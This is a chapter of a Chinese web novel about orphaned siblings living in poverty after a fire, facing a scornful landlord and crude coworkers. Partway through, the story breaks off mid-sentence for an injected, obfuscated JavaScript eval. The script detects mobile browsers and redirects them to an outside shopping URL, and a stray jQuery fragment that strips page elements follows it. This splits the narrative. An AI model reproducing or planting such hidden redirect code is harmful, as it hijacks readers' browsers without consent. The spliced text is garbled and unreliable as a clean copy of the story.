那会儿黎宴高三，家里的天已经塌了一整年。


    事情发生在她高二的暑假，爷爷奶奶照例回乡下小住，她和柏闻贪玩，留在了城里。


    那年的梅雨季很长，农村连下了半个月的雨。奶奶惦记着阁楼上那些受潮的旧书，那是爷爷收藏了一辈子的古籍字画。她怕它们发霉，于是搬了炭盆上楼，把书一摞摞摊开烘着。


    老阁楼里堆满了旧物，晾衣绳上还挂着陈年的老纱帐。起初火星溅上去的时候，只是一个小洞。


    然后一切都来不及了。


    炭火烧着了晾在一旁的纱帐，满地纸张接力，火势顺着木楼梯蹿得极快。爷爷当时正在隔壁村老友家打长牌，有人看见黑烟狂奔来喊他。他回家冲进火场想救人，被塌下来的门梁砸中，最后拖出来时，全身已是大面积烧伤。


    后来，奶奶变成了一张黑白的相片，爷爷长期住在医院。城里的老房子不值钱，连同柏闻父母留下的那笔赔偿金一起，全填进了手术费和后续治疗里，他们搬进了最廉价的出租屋。


    十九岁的柏闻辍了学，把背挺成一根不会弯的钢筋，一个人撑起了这个飘摇的家。


    黎宴还记得那段苦中作乐的时光。


    出租屋阳台下面的垃圾场里有个斜坡，雨天的时候会有老鼠从这里爬上来，整夜整夜在楼道里乱窜。直到彻底迷失了回家的路，意外死在楼道阴暗的角落里，腐臭气混杂着阴湿的霉味，闻着就令人作呕。


    而为这些见不得光的入侵者们收尸，则成了被入侵者生活里不得不为的一环。


    饭点前，黎宴将装着老鼠尸体的垃圾袋丢进离家不远的街道垃圾箱，回家后看见，柏闻已经拎着工具蹲在门口，开始修理被老鼠啃出一个洞的木门。


    夏夜郁热沉闷，地下室的空气不流通，湿哒哒黏在皮肤上的滋味很不好受。柏闻穿着件无袖，牛仔裤洗得褪色，正用锤尾起开门板上生锈的钉子，之后再换新的木板。


    一套操作下来，柏闻浓黑的短发被汗水浸湿，汗液顺着后颈一路滑进背心深处。黎宴赶紧进门拿了蒲扇，在他身边尽心尽力地扇。


    咚、咚、咚——


    随着最后几声落锤，柏闻很快将门修好，黎宴随手用袖子擦去他额间的汗，跟他一起回屋，关门时听见生锈的合金页从身后传来吱呀的响。


    锅里烧着排骨，香气扑鼻，黎宴嘴馋地想要凑近闻闻，柏闻却笑着将她转了个方向。


    “先洗手，菜又不会跑。”


    黎宴笑嘻嘻地用脑袋蹭他的手臂：“那是因为你很久没烧过排骨了，我在检验你的手艺有没有退步！”


    柏闻笑了一声，沾着水的手轻轻往黎宴脸上一弹。


    “馋猫。”


    黎宴朝他吐舌：“略。”


    柏闻失笑地揉了一把她的头发，拿起一旁的锅铲准备大火给排骨收个汁，这时，木门外传来砰砰的拍门声。


    “在家没？开门！”


    房东尖利的嗓子传来，柏闻下意识将黎宴拦在身后，随手又套了件T恤在身上，自己先去开门。


    门一开，穿着睡衣从楼上下来的房东甩来一张单子，手里拿着根竹签剔牙，满口飞沫：“拿去！这个月的电费。”


    柏闻接住那张轻飘飘的纸，不等他开口，房东的鼻子使劲抽了抽，闻着味儿不客气地往屋里钻。


    她站在灶台边望着锅里，“哟，还烧排骨呢？啧啧。”


    兄妹俩避无可避，只能站在那里听房东的冷嘲热讽。


    “有钱买排骨打牙祭，老娘的房租倒是一拖再拖？又说下半年要续租，这个月又不交钱，我说你们兄妹俩怎么回事？到底能不能交钱！不能的话就早点说，把你们屋里这堆破烂连人带铺盖一起给我搬走，别影响租给下一个！”


    柏闻攥紧水电费单子的一角，皱巴巴的纹路爬满了整张纸。他把黎宴挡在身后，让她只能听见他说话时平缓的语调，看不见脸上赔礼的笑。


    “下雨工地不开工，我找了别的工作，房租的事会尽快。”


    他停顿片刻。


    “一楼麻将馆那两台坏掉的机器，明早我过去给您修好。”


    黎宴知道，柏闻这是让房东再宽限几天的意思。自从他们搬来这里，有时为了给紧张的经济压力缓口气，大到屋棚翻新，小到电器检修，甚至包括给孩子辅导作业，柏闻几乎替房东一家包揽了所有杂事。


    房东哼了一声，眼珠提溜转，在黎宴和柏闻身上来回梭巡，像一柄锃亮的刀子，轻而易举就能刺破他们廉价的少年尊严。


    黎宴想一起跟着说点什么，至少不要让柏闻一个人为了生活卑微赔笑。然而刚想张口，柏闻像是洞察了一般用背在身后的手拉住黎宴，安抚地捏了捏她的指尖，他没回头。


    “张姐，打麻将咯！搞快点！”


    楼上传来其他人的喊声，房东叉腰，扯着嗓子尖利地回了一句：“来了来了！别催了！”


    临走前，房东顺走了柏闻烧在灶上的排骨，站在门口回看了黎宴和柏闻一眼，目光落在柏闻背过去的那只手上。


    “哼...”房东鄙夷地皱眉离开，楼道口张罗她打麻将的女人嗑着瓜子探头，一脸看热闹不嫌事大，窸窸窣窣的对话声传入他们耳中。


    “也是造孽哦，当哥的拼死拼活，早也打工晚也打工，可那点钱够干什么？医院就是个无底洞，老头子的药没停过吧？听说前两天又欠费了？”


    “驴脑子呗，自己都活不明白，还硬拖着妹妹往火坑里跳。”


    “我看不好说，老头子那病指不定哪天就蹬腿了。那姑娘成绩不错吧？万一以后考个好大学，毕业找个好工作，日子不就好起来了？”


    “好日子？等得到那天吗？他自己这条路都已经看到头了。本来就不是亲生的，那姑娘往后真有本事，见的世面大了，回头想想这些破烂事，感激还是嫌弃可说不准。别到时候一片苦心养出个怨来，那才叫笑话呢。”


    两人的声音消失在楼梯尽头，每一句话都像是脏抹布，重重地甩在兄妹俩的脸上。而对他们来说，这样难听的话屡见不鲜。


    前两天正午，太阳毒辣得很，黎宴提着饭盒穿过堆满建材的沙地，朝施工楼里大喊。


    “哥——”


    正在三楼支模板的柏闻听见了，手里的活没停，只从钢筋丛里探出半个身子，朝她摆了摆手，示意她等一会儿。等他忙完后，脱了手套，拧开水龙头冲掉手臂上的灰，才下楼揉了揉她的头。


    “怎么进来了？不是说在大门口等我？”


    黎宴弯着眼睛笑：“怕你饿，想让你早点吃饭。我今天做了炒土豆丝哦，厉不厉害？”


    柏闻隔着透明的盒盖看了一眼：“厉害，但你确定不是炒土豆棍？”


    “不吃还我！”她伸手要夺，被他笑着挡开。


    两人在水泥管后头的阴凉地坐下，柏闻拿起筷子，她挨着他坐，心满意足地看他低头扒饭。看得久了，目光就不自觉移向他后颈被晒红的皮肤，她伸手，轻轻帮他弹掉了木屑。


    几个下工的工人晃到附近歇脚。


    起初他们只是随便打量，直到其中那个矮胖的朝这边多瞥了几眼，歪头和工友说了句什么，几个大男人嬉皮笑脸地仰作一团。


    “哟，那就是柏闻他妹？长这么水？”


    “怎么，你想当他小舅子啊？过去叫声大舅哥听听？”


    “听说姓不一样啊，认的干妹妹吧？嘿嘿。”


    “怎么干？哈哈哈哈哈哈......”


    话越说越


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001285|193952||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    脏，被风灌进耳朵。黎宴听得羞愤，拳头紧紧地攥住，肩膀都在发抖。


    身旁的柏闻放下了筷子。


    黎宴转头拉住他，柏闻只是默不作声地把盒盖封好，轻轻抽出被她攥着的衣角。


    他拍了拍她手背：“乖，坐这别动。”


    黎宴意识到事情不妙，先咽下自己的火气：“哥，我没......”


    柏闻已经起身了，走过去没说话，直接揪住最先开口的那个人的衣领往旁边拖。那人踉跄着骂了句脏话，拳头用力挥过来，柏闻偏头躲开，照着他的胃就是一拳。


    闷响过后，那人猛地呕了出来，血沫溅在沙地上。


    另外几人愣了两秒才围上来，拉架的，劝和的，起哄的。柏闻谁也不看，只盯着地上蜷缩的人，揪着头发把人拎起来，又一拳砸在对方颧骨上。


    黎宴看得心惊肉跳，不敢贸然扑上去给他添乱。她知道柏闻从小学拳击，几任职业退役下来的教练都说他天赋好，是吃这碗饭的料。地上那几个流里流气的工人加在一起，也不是他的对手。


    可她从没见过这样酷戾的哥哥，他的神情那么冷。那双会给她扎辫子，会半夜起来给她掖被角的手化作沉默的拳，此刻正一下一下，重重砸在别人的脸上......


    今日种种，犹如前日重现。


    出租屋内，黎宴站在柏闻身边，在这尊严都被刺破的死寂里，她不敢看他，又忍不住看他。


    柏闻站在那儿，脸上一点表情也没有，仿佛刚才那些话只是过耳风。他甚至没往空了的灶台看一眼，只是收起那张缴费单塞进裤袋里，关火拧上煤气罐的阀门，没事人一样对她说。


    “走，哥哥带你出去吃。”


    说着，他拿过门边的伞往外走，黎宴却一把拉住他摇头。


    “哥，我们吃面吧，我想吃你煮的面。”


    “我不想吃面。”


    柏闻没回头，声音很闷，反拉着黎宴去开门。黎宴执拗地停在原地，用力将他拽回来，在他身体倾斜的瞬间，扑上去成为他的支点。


    黎宴一把抱住他，紧紧地，牢牢地抱住他。


    “哥，我们吃面吧。”


    黎宴安安静静道，柏闻在她怀里纹丝不动。她没有松开他，和他一起静默地维持着这个姿势。


    过了好一会儿。


    啪嗒——


    黎宴听见伞落地的声音。


    下一秒，那双一直垂在身侧的手臂缓缓抬了起来，终于环住她的背。起初只是轻轻地拢着，渐渐地，越来越用力，像要把她嵌进自己骨头里。


    黎宴被他勒得有点喘不上气，却一声没吭。她感到肩窝的地方湿了一小块，温热的，很快又凉下去。他们之间毫无距离地贴近，她甚至能感受到他的胸腔正顶着自己的肩在起伏。


    “我......”柏闻哑着开口，黎宴没让他说下去，抬手在他背上轻轻拍了两下，像他小时候哄她。


    “我们还可以加两个煎蛋哦，煎得焦焦的，好不好？”


    柏闻没说话，只是把脸更深地埋进她肩头，点了点头。


    这时，黎宴感觉到小腿被溅上丝丝凉意，原来是风越来越大，将阳台外的雨丝吹了进来。几秒种后闪电倏然划过，雷声滚滚，像是天空藏在雨声里呜咽。


    那晚的面，柏闻煮得很认真。两个鸡蛋在锅里煎得边缘金黄微焦，滋滋冒着油香，但他一个都没碰，全拨到了黎宴碗里。


    黎宴夹起一个要往他碗里放，他抬手挡开：“面太多了，吃不下。”


    “那你咬一口嘛。”


    “油放多了，腻。”


    黎宴没再坚持，她低头吃面，热气扑上来，熏得眼睛发胀。


    她知道他在说谎，就像他知道她知道。